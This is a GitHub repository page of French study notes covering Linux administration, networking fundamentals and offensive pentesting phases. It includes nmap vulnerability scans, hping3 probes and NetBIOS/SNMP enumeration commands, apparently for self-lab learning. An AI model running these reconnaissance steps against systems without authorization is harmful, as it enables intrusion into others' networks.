• Stars
    star
    183
  • Rank 210,154 (Top 5 %)
  • Language
    Python
  • Created over 3 years ago
  • Updated over 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

I hacked my own webcam from a Kali Linux VM in my local network, using Ettercap to do the MiTM ARP poisoning attack, sniffing with Wireshark, and using metasploit

plan

I - Linux Fundamentals

  • Les utilisateurs et les droits
  • Installer des programmes avec apt-get
  • Surveiller l'activitĂ© du système
  • ExĂ©cuter des programmes en arrière-plan
  • La connexion sĂ©curisĂ©e Ă  distance avec SSH
  • Analyser le rĂ©seau et filtrer le trafic avec un pare-feu

II - Network Fundamentals

OSI Model

  • .1. Couche 1 et 2 : communiquer dans un rĂ©seau local (LAN)
  • .2. Couche 3 : communiquer entre rĂ©seaux
  • .3. Couche 4 : communiquer entre applications
  • .4. Couche 7 : Applications
  • .5. protocoles DHCP, DNS, et HTTP

III - Offensive Pentesting

Attaques

Etapes

.1. Footprinting and Reconnaissance

.2. Scanning Networks

  • Ma machine
  • Scanning
  • Enumeration
  • Vulnerability Analysis

.3. System Hacking

  • Sniffing : Wireshark / Tcpdump
  • Hacking Wireless Networks : Attaques MiTM
  • Malware Threats, Denial-of-Service, Session Hijacking, SQL injection ..

IV - Hack the Box

  • Installation
  • Methodo

I - Linux Fundamentals

Les utilisateurs et les droits

Linux est un système multi-utilisateurs = plusieurs personnes peuvent travailler simultanément sur le même OS, en s'y connectant à distance notamment

  • Root : Il y a un utilisateur « spĂ©cial », root, aussi appelĂ© superutilisateur. Celui-ci a tous les droits sur la machine, et que lui a acces a certaines commandes.
  • Les autres : On peut crĂ©er autant d'utilisateurs que l'on veut, eux-mĂŞmes rĂ©partis dans des groupes. Par defaut utilisateur non root car un virus ne peut rien faire de plus que vous quand vous ĂŞtes connectĂ©s avec des droits limitĂ©s. Mais si vous ĂŞtes en root il pourra tout faire. Sous Windows, vous ĂŞtes toujours connectĂ©s en administrateur par dĂ©faut (Ă©quivalent de root), ce qui explique pourquoi les virus y sont si dangereux.
commande fonctionnement 
sudo commande devenir root temporairement
sudo su devenir root et le rester jusqu'a tapper exit
adduser nom utilisateur ajouter un utilisateur (seul root peut le faire) repertoire dans /home/nomutilisateur
passwd nom utilisateur changer le mot de passe (idem en root)
  • Chaque fichier et chaque dossier possède une liste de droits (ls -l). C'est une liste qui indique qui a le droit de voir le fichier, de le modifier et de l'exĂ©cuter. Root a tous les droits.
commande fonctionnement 
chown nom du nouveau proprio nom du fichier changer le propriétaire d'un fichier (idem en root)
chmod chiffre fichier Modifier les droits d'accès (voir readme minishell)

Installer des programmes avec apt-get

Sous Windows, les programmes sont éparpillés aux quatre coins du Net. Sous Linux, on a choisi de placer tous les programmes (paquets) au même endroit.L'installation de programmes fonctionne différemment d'une distribution à une autre.

concept principe 
paquet Sous Ubuntu, pas de programmes d'installation mais des paquets. Sorte de dossier zippé qui contient tous les fichiers du programme (fichier.deb). Contient toutes les instructions nécessaires pour installer le programme.
depot/repository Tous les.deb sont rassemblés au même endroit sur un même serveur appelé dépôt. C'est le serveur sur lequel on va télécharger nos paquets. (y en a plein avec les memes packets dessus et on peut changer le serveur sur lequel on recupere nos packets par defaut)
dependance un paquet peut avoir besoin de plusieurs autres paquets pour fonctionner, on dit qu'il a des dépendances
apt-get programme de gestion des paquets. Si paquets pas dispo avec apt-get il faudra compiler un programme depuis les sources (avec tar zxvf)
  • apt-get update (optionnel) : pour mettre notre cache Ă  jour si ce n'est pas dĂ©jĂ  fait ;
  • apt-cache search monpaquet (optionnel) : pour rechercher le paquet que nous voulons tĂ©lĂ©charger si nous ne connaissons pas son nom exact ;
  • apt-get install monpaquet : pour tĂ©lĂ©charger et installer notre paquet.

Surveiller l'activité du système

Linux est un système multi-tâches et multi-utilisateurs : il est capable de gérer plusieurs programmes tournant en même temps + plusieurs personnes peuvent utiliser la même machine en même temps (en s'y connectant via Internet).

SĂ©rie de commandes qui nous permettront de savoir ce qui se passe actuellement dans notre ordinateur :

commande fonctionnement 
w plusieurs infos : La charge avec "load average ..." donne le nombre moyen de processus en train de tourner et qui réclament l'utilisation du processeur. En dessous c'est une ligne par user connecte. FROM (ou DE) indique l'IP (si connecte en local sera :0). WHAT (ou quoi) la commande qu'il est en train d'exécuter en ce moment. En général, si vous voyez bash, cela signifie que l'invite de commandes est ouverte et qu'aucune commande particulière n'est exécutée.
who Lui aussi donne la liste des connectes
ps obtenir la liste des processus qui tournent au moment où vous lancez la commande et sur l'utilisateur sur lequel on est. Cette liste n'est pas actualisée en temps réel
ps -ef la liste de tous les processus lancés par tous les utilisateurs sur toutes les consoles
ps -ejH afficher les processus en arbre, pour savoir quel processus enfant appartient a quel parent
top processus en temps reel. En haut y a l'uptime et la charge, mais aussi la quantité de processeur et de mémoire utilisée (voir man plein de speficites)
sudo halt arreter l'ordinateur
sudo reboot redemarrer l'ordinateur

Exécuter des programmes en arrière-plan

Plusieurs programmes peuvent tourner en mĂŞme temps au sein d'une mĂŞme console.

commande fonctionnement 
& rajouter le petit symbole & à la fin de la commande que vous voulez envoyer en arrière-plan. Exemple : cp video.avi copie_video.avi &
nohup détacher le processus de la console, meme si on quitte la console ca kill pas le processus. Exemple : nohup cp video.avi copie_video.avi. La sortie de la commande est par défaut redirigée vers un fichiernohup.out
Ctrl + Z puis bg mettre en pause l'exécution du programme qui est en premier plan puis le passer en arriere plan avec bg
jobs connaître les processus qui tournent en arrière-plan
fg reprendre un processus au premier plan

La connexion sécurisée à distance avec SSH

Toutes les machines sous Linux peuvent être configurées pour que l'on s'y connecte à distance, pour peu qu'elles restent allumées.

  • Pourquoi faut-il sĂ©curiser les Ă©changes ? Comme on ne peut pas complètement empĂŞcher quelqu'un d'intercepter les donnĂ©es qui transitent sur l'internet (par exemple avec wireshark), il faut trouver un moyen pour que le client et le serveur communiquent de manière sĂ©curisĂ©e. Le chiffrement sert prĂ©cisĂ©ment Ă  ça : si le pirate rĂ©cupère le mot de passe chiffrĂ©, il ne peut rien en faire.

  • Comment fait SSH pour sĂ©curiser les Ă©changes ? Il existe des tonnes d'algorithmes de chiffrement classables en deux categories : les chiffrements symĂ©triques (une seule cle) et les chiffrements asymĂ©triques (cle privee + cle publique). SSH = utilise d'abord le chiffrement asymĂ©trique pour s'Ă©changer discrètement une clĂ© secrète de chiffrement symĂ©trique. Ensuite, on utilise tout le temps la clĂ© de chiffrement symĂ©trique pour chiffrer les Ă©changes.

  • Comment utiliser SSH concrètement ? Si vous voulez accĂ©der Ă  votre PC depuis un autre lieu (et donc suivre le reste de ce chapitre), vous devez le transformer en serveur au prĂ©alable.

##creer le serveur :
sudo apt-get install openssh-server
sudo /etc/init.d/ssh start #normalement pas besoin serveur ssh lance au demarrage

Puis pour s'y connecter, l'authentification par mot de passe ou l'authentification par clés publique et privée du client (ssh-keygen).

###s'y connecter a partir d'une machine Linux :
ssh *login*@*adresseipdemonordi* #verifier que le port 22 n'est pas bloque par un parefeu
# on va nous demander notre mot de passe

Analyser le réseau et filtrer le trafic avec un pare-feu

1. Lorsque vous êtes connectés à l'internet, vous avez régulièrement des applications qui vont se connecter puis télécharger et envoyer des informations. Comment surveiller ce qui se passe ? Quelle application est en train de communiquer et sur quel port ?

Chaque IP est associee a un hostname (= nom en toutes lettres plus facile à mémoriser et qui revient exactement au même que d'écrire l'adresse IP). L'association des 2 est faite par les serveurs DNS. Si je tappe siteduzero.com dans mon navigateur je tombe sur openclassroom, plus facile que de retenir l'adresse ip.

commande fonctionnement 
host google.fr nous indique ladresse IP du hostname google.fr
whois siteduzero.com permet d'obtenir toutes les infos sur un nom de domaine (prenom, adresse ...)
ifconfig permet de gérer les connexions réseau de votre machine
netstat permet d'analyser ces connexions, de connaître des statistiques, etc

ifconfig :

  • liste les interfaces reseau (eth0, lo ...) et permet de faire des reglages reseau (par exemple desactivier l'interface eth0 : ifconfig eth0 down)
  • lo : c'est la boucle locale. Tout le monde doit l'avoir c'est connexion a nous meme
  • packets un chiffre pas egal a 0 indique l'interface active la plus utilisee

Sur mac :

#ap1: Access Point. This is used if you are using your MacBook as a wireless host where you are sharing its connection

#en0 at one point "ethernet", now is WiFi = wireless connection
#en1 is an ordinary ethernet connection
#en2 
#en3 is a connection using a Thunderbolt-to-ethernet adapter (adaptateur sur le mac)

#p2p0 : interface pour AirDrop (le p2p apple)
#awdl0: Apple Wireless Direct Link. WIFI p2p connection for things like AirDrop, Airplay, etc. Also used for Bluetooth

#bridged0 : un pont quelconque entre deux interfaces, possiblement du vmware
#fw0 is the FireWire network interface
#utun0: Tunneling interface. Used for VPN connections to tunnel traffic or for software like Back To My Mack.

netstat :

  • netstat permet d'analyser ces connexions, de connaĂ®tre des statistiques, etc.
  • netstat -i : tableau prĂ©sentant, pour chaque interface rĂ©seau que vous avez, une sĂ©rie de statistiques d'utilisation.
  • netstat -uta : lister toutes les connexions ouvertes. Ce tableau vous indique qui, depuis l'adresse locale, est connectĂ© Ă  qui (Ă  une adresse distante).
  • netstat -ta : idem que -uta mais on enleve les connexions UDP.
  • l'etat LISTEN : Ă  l'Ă©coute des connexions entrantes.
  • l'etat ESTABLISHED : la connexion a Ă©tĂ© Ă©tablie avec l'ordinateur distant
  • regarder les ports sur lesquels ces connexions ecoutent (après le symbole « : » dans colonne "adresse locale") : on peut se connecter Ă  chaque ordinateur via diffĂ©rentes « portes » appelĂ©es ports. Chaque service utilise un port diffĂ©rent (page web 80, fichier transfert 21, email 110). Ouvrir une page web et y aura plein de connexions established

2. Savoir paramétrer un pare-feu est essentiel : Configurer le parefeu iptables

  • Il permet d'Ă©tablir un certain nombre de règles pour dire par quels ports on peut se connecter Ă  votre ordinateur, mais aussi Ă  quels ports vous avez le droit de vous connecter. Notre objectif est de bloquer par dĂ©faut toutes ces portes et d'autoriser seulement celles dont vous avez besoin, que vous considĂ©rez comme « sĂ»res » et que vous utilisez. Par exemple, le port 80 utilisĂ© pour le web est un port sĂ»r que vous pouvez activer.

  • Avoir un pare-feu ne vous prĂ©munit pas contre les virus. En revanche, cela rend la tâche particulièrement difficile aux pirates qui voudraient accĂ©der Ă  votre machine.

  • voir toutes les regles de config sur openclassroom

  • Tryhackme

II - Network Fundamentals

OSI Model

Le modèle OSI est une norme qui préconise comment les ordinateurs devraient communiquer entre eux. Modèle a 7 couches. Pour communiquer par courrier il faut un émetteur, récepteur, support de transmission (lettre) etc. Les chercheurs ont imaginé 7 éléments a mettre en place pour communiquer sur internet.

  • La couche 1 ou couche physique : Nom : physique. RĂ´le : offrir un support de transmission pour la communication. RĂ´le secondaire : RAS. MatĂ©riel associĂ© : le hub, ou concentrateur en français.
  • La couche 2 ou couche liaison : Nom : liaison de donnĂ©es. RĂ´le : connecter les machines entre elles sur un rĂ©seau local. RĂ´le secondaire : dĂ©tecter les erreurs de transmission. MatĂ©riel associĂ© : le switch, ou commutateur.
  • La couche 3 ou couche rĂ©seau : Nom : rĂ©seau. RĂ´le : interconnecter les rĂ©seaux entre eux. RĂ´le secondaire : fragmenter les paquets. MatĂ©riel associĂ© : le routeur.
  • La couche 4 ou couche transport : Nom : transport. RĂ´le : gĂ©rer les connexions applicatives. RĂ´le secondaire : garantir la connexion. MatĂ©riel associĂ© : RAS.
  • couche 5 et 6 : Modèle OSI = modèle thĂ©orique. Le modèle sur lequel s'appuie Internet aujourd'hui est le modèle TCP/IP. Or, ce modèle n'utilise pas les couches 5 et 6, donc... on s'en fiche !
  • La couche 7 ou couche application : Nom : application. RĂ´le : RAS. RĂ´le secondaire : RAS. MatĂ©riel associĂ© : le proxy.

Le modèle OSI ajoute deux règles :

--> chaque couche est indépendante : exemple, l'adresse IP qui est une adresse de couche 3 ne pourra pas être utilisée par une autre couche.

--> chaque couche ne peut communiquer qu'avec une couche adjacente : Si on entre l'adresse d'un site dans la barre de recherche. L'application (le navigateur) de couche 7, s'est adressé a la couche du dessous, on a parcouru les couches du modèle OSI de haut en bas.

L'encapsulation : un message est envoyé depuis la couche 7 du modèle OSI, et il traverse toutes les couches jusqu'à arriver à la couche 1 pour être envoyé sur le réseau. En fait, un en-tête va être ajouté à chaque passage par une couche. Au passage par la couche 4, on ajoutera l'en-tête de couche 4, puis celui de couche 3 en passant par la couche 3, et ainsi de suite. On encapsule un message dans un autre. ce qui va circuler sur le réseau est une trame de couche 2, qui contient le datagramme de couche 3 (qui lui-même contiendra l'élément de couche 4).

1. Couche 1 et 2 : communiquer dans un réseau local (LAN)

couche 1
role brancher les machines = acheminer des signaux Ă©lectriques, des 0 et des 1 en gros.
fonctionnement Les 0 et les 1 vont circuler grâce aux différents supports de transmission. Les câbles coaxiaux, la fibre optique.
topologie Y a differents moyens de brancher les machines entre elles (la topologie en bus, la topologie en anneau, la topologie en Ă©toile).
couche 2
role faire communiquer les machines qui sont branchées sur un réseau local.
identifiant Chaque machine a une adresse MAC. L'adresse MAC est l'adresse d'une carte réseau (carte reseau contenue dans la machine).
protocole Étant donné que nous discutons entre des machines très différentes, qui ont des OS différents, nous devons créer un langage de communication commun pour se comprendre (= protocole). Le protocole le + utilise sur la couche 2 est le protocole Ethernet.
fonctionnement protocole Nous avons vu que des 0 et des 1 allaient circuler sur nos câbles. Nous allons donc recevoir des choses du genre : 001101011110001100100011111000010111000110001... Ce qui ne veut pas dire grand-chose tant que nous ne nous entendons pas sur leur signification. Le protocole va définir quelles informations vont être envoyées, et dans quel ordre. Par exemple on peut dire que les 48 premiers caractères que nous allons recevoir représentent l'adresse MAC de l'émetteur (puisque l'adresse MAC fait 48 bits) les 48 suivants l'adresse du récepteur, puis enfin le message. Le protocole va définir le format des messages envoyés sur le réseau.
nom des messages Ce message est appelle une trame. La trame est le message envoyé sur le réseau, en couche 2.
materiel Le commutateur (= switch) est un matériel qui va pouvoir nous permettre de relier plusieurs machines entre elles. Nous allons donc brancher nos machines au switch, voire d'autres switchs à notre switch. Pour envoyer la trame vers la bonne machine, le switch se sert de l'adresse MAC destination contenue dans l'en-tête de la trame.

--> Pour l'IP privee : au sein d'un même réseau, chaque machine possède une et une seule adresse IP

--> Pour l'IP publique : ordinateurs d'un meme reseau prive partagent une adresse publique (si on fait un test via un site What Is My IP? le site interrogera votre routeur ou votre Box et pas vos machines donc renverra l'IP publique).

--> Les adresses IP privees sont differentes entre une VM et mon pc

2. Couche 3 : communiquer entre réseaux

Comment envoyer un message à un réseau auquel on est pas directement reliés ? Les réseaux sont tous reliés entre eux, comme une chaîne. Internet est un ensemble de réseaux collés les uns aux autres. Pour voir par quelles machines on passe pour aller jusqu'a une machine :

sudo apt install traceroute
traceroute www.siteduzero.com #chacune des lignes correspond à une machine que nous avons rencontrée
couche 3
role Communiquer entre réseaux
identifiant Adresse IP : l'adresse IP est en fait l'adresse du réseau ET de la machine. Une partie de l'adresse IP représentera l'adresse du réseau, et l'autre partie l'adresse de la machine. C'est le masque qui va indiquer quelle est la partie réseau de l'adresse, et quelle est la partie machine.
protocole le protocole IP, ou Internet Protocol. (mais y a aussi d'autres protocoles : ICMP, ARP...)
nom des messages Pour le protocole IP, le message s'appelle un datagramme ou un paquet. (qui contiendra l'IP source et l'IP de la machine de destination)
materiel routeur : va nous permettre d'envoyer un message en dehors de notre réseau. C'est une machine qui a plusieurs interfaces (plusieurs cartes réseau), chacune reliée à un réseau. Son rôle va être d'aiguiller les paquets reçus entre les différents réseaux, se différencie d'une simple machine, car il accepte de relayer des paquets qui ne lui sont pas destinés. Aiguille les paquets grâce à sa table de routage qui indique quelle passerelle utiliser pour joindre un réseau.
# Exemple : on associe l'adresse IP 192.168.0.1 au masque 255.255.0.0.
255.255.0.0 -> 11111111.11111111.00000000.00000000  #tous les bits a 1 = la partie reseau
192.168.0.1 -> 11000000.10101000.00000000.00000001  #tous les bits Ă  0 = la partie machine de l'adresse
# Donc la partie réseau de l'adresse est 192.168, et la partie machine est 0.1.
route -n # afficher la table de routage
## La première ligne est pour notre réseau, et on voit une particularité de Linux qui n'indique pas notre adresse, mais 0.0.0.0. C'est comme ça.
La seconde est la route par défaut qui est ici 88.191.45.1.
route del default # enlever la route par defaut
route add default gw 10.0.0.254 # changer la route par defaut pour 10.0.0.254
route add -net 192.168.0.0 netmask 255.255.255.0 gw 10.0.0.253 #ajouter une route spécifique si nous le souhaitons pour aller vers le réseau 192.168.0.0/24 en passant par la passerelle 10.0.0.253

--> Une box Internet est constitué d'un modem ADSL et d'un routeur

3. Couche 4 : communiquer entre applications

Un serveur = offrir un service. Un serveur web va mettre à disposition des internautes des pages web. Un serveur de messagerie mettra à disposition des adresses mail ainsi qu'un service d'envoi et de réception de mails.

Étant donné que le serveur est censé fournir un service accessible tout le temps, on dit qu'il est en écoute. En fait, le serveur va écouter sur le réseau et être prêt à répondre aux requêtes qui lui sont adressées.

netstat -antp #tous les listen en train d'ecouter
#La colonne "Adresse locale" nous donne l'adresse IP en écoute, ainsi qu'un numéro que nous ne connaissons pas encore.
#La colonne "Etat" nous indique l'Ă©tat du service
#La colonne "PID/program name" nous indique le numéro du processus en écoute ainsi que son nom.
#Si le service a une addr locale 127.0.0.1 : service non joignable depuis le reseau, joignable que depuis la machine elle-mĂŞme, reserve a une utilisation locale.

Client = Oui, en ce moment mĂŞme vous utilisez un client web qui est votre navigateur et qui se connecte au serveur du Site du ZĂ©ro. = Connexion client/serveur entre votre navigateur et le serveur web du Site du ZĂ©ro. Client de messagerie comme Outlook.

couche 4
role objectif de faire dialoguer ensemble des applications, cad gérer les connexions applicatives
identifiant le port : Le port c'est l'adresse d'une application sur une machine. On a 65535 ports Ă  notre disposition, et pleins de ports reserves (web=80, mail=25, ssh=22, imap=143, proxy=8080, https=443...)
protocoles 2 protocoles : TCP (applications qui nécessitent un transport fiable des données, mais qui n'ont pas de besoin particulier en ce qui concerne la vitesse de transmission par exemple les mails ou le web) et UDP (applications qui nécessitent un transport immédiat des informations, mais qui peuvent se permettre de perdre quelques informations. Par exemple le streaming ou la radio)
nom des messages datagramme UDP (qui contient: Port Source=addrapplicationqui envoielinfo - Port Destination=addrapplicationquirecoitinfoparexmonnavigateur - Longueur totale - Checksum - Données à envoyer) et le segment TCP (Port Source - Port Destination - Flags - Checksum - Données à envoyer)

4. Couche 7 : Applications

Elle est là pour représenter les applications pour lesquelles nous allons mettre en œuvre des communications. Les couches 1 à 4 sont appelées les couches "réseau". Ce sont elles qui ont la responsabilité d'acheminer les informations d'une machine à une autre, pour les applications qui le demandent.

5. protocoles DHCP, DNS, et HTTP

  • Protocole DHCP = Un protocole pour distribuer des adresses IP. La première fonction d'un serveur DHCP est de fournir des adresses IP aux machines en faisant la demande.
  • Protocole DNS = Systeme de nomage pour eviter d'avoir a retenir toutes les adresses ip, se charge de convertir (on parle de rĂ©solution) le nom du site web demandĂ© en adresse IP.
  • Protocole HTTP = Le principe du protocole HTTP est de transporter ces pages HTML, et potentiellement quelques informations supplĂ©mentaires. Le serveur web met donc Ă  disposition les pages web qu'il hĂ©berge, et le protocole HTTP les transporte sur le rĂ©seau pour les amener au client.

III - Offensive Pentesting

Attaques

Attack Description Example
Passive Attacks interception et surveillance du trafic réseau et des flux de données sur le réseau cible sans modifier les données. Capturer les données ou les fichiers transmis sur le réseau sans le consentement de l'utilisateur (données non chiffrées en transit, informations d'identification en texte clair...) sniffing (wireshark) and eavesdropping, footprinting
Active Attacks altèrent les données en transit ou perturbent la communication ou les services entre les systèmes pour contourner ou pénétrer dans les systèmes sécurisés. Les attaquants lancent des attaques sur le système ou le réseau cible en envoyant activement du trafic pouvant être détecté. Ddos (prendre pour cible un système informatique en l’inondant de messages entrants ou de requêtes de connexion afin de provoquer un déni de service), Man-in-the-Middle, session hijacking (technique consistant à intercepter une session TCP initiée entre deux machine afin de la détourner), SQL injection (injecter dans la requête SQL en cours un morceau de requête non prévu par le système et pouvant en compromettre la sécurité.), malware attacks (virus, ransomware..), spoofing (usurpation d'identite, se faire passer pour le routeur par ex), password-based attacks (cracker mdp), Cryptography attacks
Close-in Attacks Lorsque l'attaquant se trouve à proximité physique du système ou du réseau cible. Objectif de collecter ou de modifier des informations ou d'en perturber l'accès. Eavesdropping, shoulder surfing (regarder par-dessus l'épaule), dumpster diving (chercher dans la poubelle de quelqu'un des informations)
Insider Attacks effectuées par des personnes de confiance qui ont un accès physique aux actifs critiques de la cible. Utiliser un accès privilégié pour enfreindre les règles ou provoquer intentionnellement une menace pour les informations ou les systèmes d'information de l'organisation. theft of physical devices (vol d'appareils physiques) and planting keyloggers (enregistreurs de claviers), backdoors, malware, social engineering
Distribution Attacks Lorsque les attaquants altèrent le matériel ou le logiciel avant l'installation. Par exemple les portes dérobées créées par les fournisseurs de logiciels ou de matériel au moment de la fabrication modification of software or hardware during production

Etapes

Etape description
1 Reconnaissance : recolter le plus d'infos genre organization’s clients, employees, operations, network, and systems
2 Scanning : utiliser les détails recueillis lors de la reconnaissance pour scanner le réseau à la recherche d'informations spécifiques genre mapping of systems, routers, and firewalls by using simple tools such as the standard Windows utility Traceroute. L'analyse peut inclure the use of dialers, port scanners, network mappers, ping tools, vulnerability scanners, or other tools. Les attaquants extraient des informations telles que les machines actives, le port, l'état du port, les détails du système d'exploitation, le type de périphérique et la disponibilité du système pour lancer une attaque. scanners de vulnérabilités, qui peuvent rechercher des milliers de vulnérabilités connues sur un réseau cible. Si vulnerabilite direct ca donne un avantage à l'attaquant car il n'a qu'à trouver un seul moyen d'entrée
3 Gaining Access : Les attaquants utilisent les vulnérabilités identifiées lors des phases de reconnaissance et d'analyse pour accéder au système et au réseau cibles. The attacker can gain access to the OS, application, or network level (gain access to the target system locally (offline), over a LAN, or the Internet) avec differents types d'attaques. Une fois qu'un attaquant a accès au système cible, il essaie alors d'élever les privilèges afin de prendre le contrôle total. Ce faisant, ils compromettent également les systèmes intermédiaires qui y sont connectés.
4 Maintaining Access : Une fois qu'un attaquant a accès au système cible avec des privilèges d'administrateur il peut utiliser à la fois le système et ses ressources à volonté. Les attaquants qui choisissent de ne pas être détectés suppriment les preuves de leur entrée et installent une porte dérobée ou un cheval de Troie pour obtenir un accès répété. Ils peuvent également installer des rootkits au niveau du noyau pour obtenir un accès administratif complet à l'ordinateur cible. Les rootkits accèdent au niveau du système d'exploitation, tandis que les chevaux de Troie accèdent au niveau de l'application. Les rootkits et les chevaux de Troie nécessitent que les utilisateurs les installent localement.
5 Clearing Tracks : utilisent des utilitaires tels que PsTools, Netcat ou des chevaux de Troie pour effacer leurs empreintes des fichiers journaux du système. D'autres techniques incluent la stéganographie et la tunnellisation. Les administrateurs système peuvent déployer des IDS (systèmes de détection d'intrusion) et un logiciel antivirus basés sur l'hôte afin de détecter les chevaux de Troie et autres fichiers et répertoires apparemment compromis

1. Footprinting and Reconnaissance

2. Scanning Networks

Ma machine

ifconfig Ping  Route
- La première est l'interface eth0 (eth pour Ethernet !) qui est ma carte réseau. - Enfin nous avons l'interface lo (pour local, ou loopback) qui est une interface réseau virtuelle qui n'est accessible que sur la machine elle-même. Son adresse est toujours 127.0.0.1, sur toutes les machines. C'est une convention. - Si ifconfig indique inet adr:88.191.45.68 Bcast:88.191.45.255 Masque:255.255.255.0 : adresse IP 88.191.45.68, masque 255.255.255.0 et l'adresse de broadcast 88.191.45.255. Machine emetrice du ping fait un ICMP echo request, machine receptrice fait un ICMP echo reply (ping utilise le protocole ICMP). Permet de savoir si la machine pingée est correctement joignable sur le reseau. + mesure le temps necessaire au paquet pour faire l'aller retour entre la machine emetrice et la machine receptrice. pour avoir mon gateway (= routeur)
ifconfig
ifconfig eth0 10.0.0.1 netmask 255.255.255.0 #modifier son adresse et la remplacer par 10.0.0.1/24 
ping 8.8.8.8 #je ping le serveur DNS de google
route
arp -a #permet de voir addr ip avec addr MAC si on fait un changement avec mitm attack
curl ifconfig.me #addresse IP publique sous mac
ipconfig getifaddr en0 #adress IP privee sur mon mac
hostname -I #sous linux pour laddr IP privee
lsof -Pn -i4 #voir mes ports ouvert sur mac

si je suis sur VM attention reglages reseau explication

  • soit jutilise le LAN (et j'ai addresse IP de type 10.0.2.2)
  • soit j'utilise un pont avec ma machine hote. Dans ce mode, la carte rĂ©seau virtuelle est « pontĂ©e » Ă  une carte rĂ©seau physique de l’hĂ´te. Cette carte rĂ©seau aura donc 2 adresses IP, une dĂ©diĂ©e Ă  l'hĂ´te et l'autre dĂ©diĂ©e Ă  la machine virtuelle.

calculateur ip et infos

CIDR masque de sous-reseau

Scanning

Port Scanning Network Scanning  Vulnerability Scanning
Répertorie les ports et services ouverts. L'analyse des ports consiste à se connecter ou à sonder les ports TCP et UDP du système cible pour déterminer si les services sont en cours d'exécution ou sont en état d'écoute. L'état d'écoute fournit des informations sur l'OS (=fingerprinting) et l'application en cours d'utilisation. Parfois, les services actifs à l'écoute peuvent permettre à des utilisateurs non autorisés de mal configurer les systèmes ou d'exécuter des logiciels présentant des vulnérabilités. Répertorie les hôtes actifs et les adresses IP. Affiche la présence de faiblesses connues. Un scanner de vulnérabilité se compose d'un moteur d'analyse et d'un catalogue. Le catalogue comprend une liste de fichiers communs avec des vulnérabilités connues et des exploits communs pour une gamme de serveurs. les ports sont les portes et les fenêtres d'un système qu'un intrus utilise pour y accéder.

doc de reference nmap

####sur l'outil nmap : 
outil open source d'exploration réseau, a été conçu pour rapidement scanner de grands réseaux, fonctionne aussi très bien sur une cible unique. 
Détermine quels sont les hôtes actifs sur le réseau, quels services (y compris le nom de l'application et la version) ces hôtes offrent, 
quels systèmes d'exploitation (et leurs versions) ils utilisent, quels types de dispositifs de filtrage/pare-feux sont utilisés, 
ainsi que des douzaines d'autres caractéristiques.
####
nmap [ <Types de scans> ...] [ <Options> ] { <spécifications des cibles> }
--traceroute: DĂ©termine une route vers chaque hĂ´te
nmap -sP *addrreseau**masquesousreseauCIDR* #hosts up (sP: Ping Scan - Ne fait que déterminer si les hôtes sont en ligne)
sudo nmap -sn *addrreseau**masquesousreseauCIDR* #hosts up + Addr mac + nous dit si (apple) ... ## QUI EST SUR MON RESEAU ?
####
#Si j'ouvre un port 80:80 sur mon mac 
brew install nginx
brew services start nginx
brew services list
#et que je regarde sur mon kali
nmap -A *addripcible* #ports ouverts (-A = Active la détection du système d'exploitation et des versions) #me donne le port 80:80 ouvert
####
#Si je teste les vulnerabilites
nmap -sV --script vuln *addripcible*
hping3 <options> <target IP address> #can be used for network security auditing, firewall testing, manual path MTU discovery, advanced traceroute, remote OS fingerprinting, remote uptime guessing, TCP/IP stacks auditing, etc.
#default is TCP
hping3 -1 #ICMP
hping3 -A #ACK
hping -2 #UDP 

Enumeration

Processus d'extraction des noms d'utilisateur, des noms de machine, des ressources réseau, des partages et des services d'un système ou d'un réseau. Selon les ports ouverts, on va enumerer :

Techniques to extract informations :

  • Extract usernames using email IDs
  • Extract information using default passwords : nombreuses ressources en ligne fournissent une liste de mots de passe par dĂ©faut attribuĂ©s par les fabricants Ă  leurs produits
  • NetBIOS Enumeration (port 139 + sur windows)
  • SNMP Enumeration (UDP 161)
  • NTP and NFS Enumeration
  • SMTP and DNS Enumeration : Un administrateur rĂ©seau peut utiliser le transfert de zone DNS, avec commandes nslookup et dig, pour rĂ©pliquer les donnĂ©es DNS sur plusieurs serveurs DNS ou sauvegarder des fichiers DNS. Dans cette operation il convertira tous les noms DNS et adresses IP hĂ©bergĂ©s par ce serveur en texte ASCII. Si le serveur DNS est mal config, le transfert de zone DNS peut ĂŞtre une mĂ©thode efficace pour obtenir des informations sur le rĂ©seau de l'organisation :listes de tous les hĂ´tes nommĂ©s, sous-zones et adresses IP associĂ©es.
  • LDAP Enumeration : Microsoft Active Directory aurait une erreur de conception. toutes les tentatives d'authentification du service entraĂ®nent des messages d'erreur diffĂ©rents. Les attaquants en profitent pour Ă©numĂ©rer des noms d'utilisateur valides, et s'ils trouvnet un nom d'utilisateur valide ils brute fore le mdp.
############Exemple d'enumuration############
#####Si le systeme cible est sur Windows#####
###et qu'il a le port 139 ouvert = Netbios###

nbtstat [-a RemoteName] [-A IP Address] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]
nbtstat -a <ip addres of the remote machine>
nmap -sV -v --script nbstat.nse <target IP address>
##Enumeration of user accounts with Pstools##
PsExec - executes processes remotely 
PsFile - shows files opened remotely 
PsGetSid-displays the SID of a computer or user 
PsKill - kills processes by name or process ID 
PsInfo - lists information about a system 
PsList - lists detailed information about processes
PsLoggedOn - shows who is logged on locally and via resource sharing
PsLogList - dumps event log records 
PsPasswd - changes account passwords
PsShutdown - shuts down and optionally reboots a computer
############Exemple d'enumuration############
#######Si le systeme cible utilise SNMP######
###############port 161 ouvert###############

Snmpcheck
SoftPerfect Network Scanner

Vulnerability Analysis

acronyme CVE = désigne une liste publique de failles de sécurité informatique. Lorsque l'on parle d'une CVE, on fait généralement référence à l'identifiant d'une faille de sécurité répertoriée dans cette liste. Les identifiants CVE sont attribués par des autorités déléguées, les CNA (CVE Numbering Authority). Les CNA disposent de blocs d'identifiants CVE alloués par le MITRE, qui sont réservés et attribués aux failles au moment de leur découverte.

nmap -sV --script vuln *addripcible* #imaginons que j'ai un nginx de lance sur mon ordi cible
CSRF vulnerabilites
DOM based XXS
stored XXS vulnerabilites
VULNERABLE : apache web server cve:cve-2011-3192
apache web server vulnerable to a Ddos attack
#brew remove nginx
# pour fermer un port sur mac :
# lsof -Pn -i4 #pour lister port ouvert, je peux recupeer pid
# sudo kill -9 PID
OpenVAS #scanner de vulnerabilites
Nessus #logiciel scanner de vulnerabilites
Nikto #scanner vulnerabilites d'un serveur web

Metasploit : C'est un framework = ensemble de nombreux logiciels. Permet de collecter des informations, créer des logiciels malveillants, pirater des FTP, pirater Android et bien d’autres choses. Nmap est également intégré dans Metasploit ; vous pouvez utiliser Nmap dans Metasploit sans avoir besoin d’ouvrir un nouveau Terminal

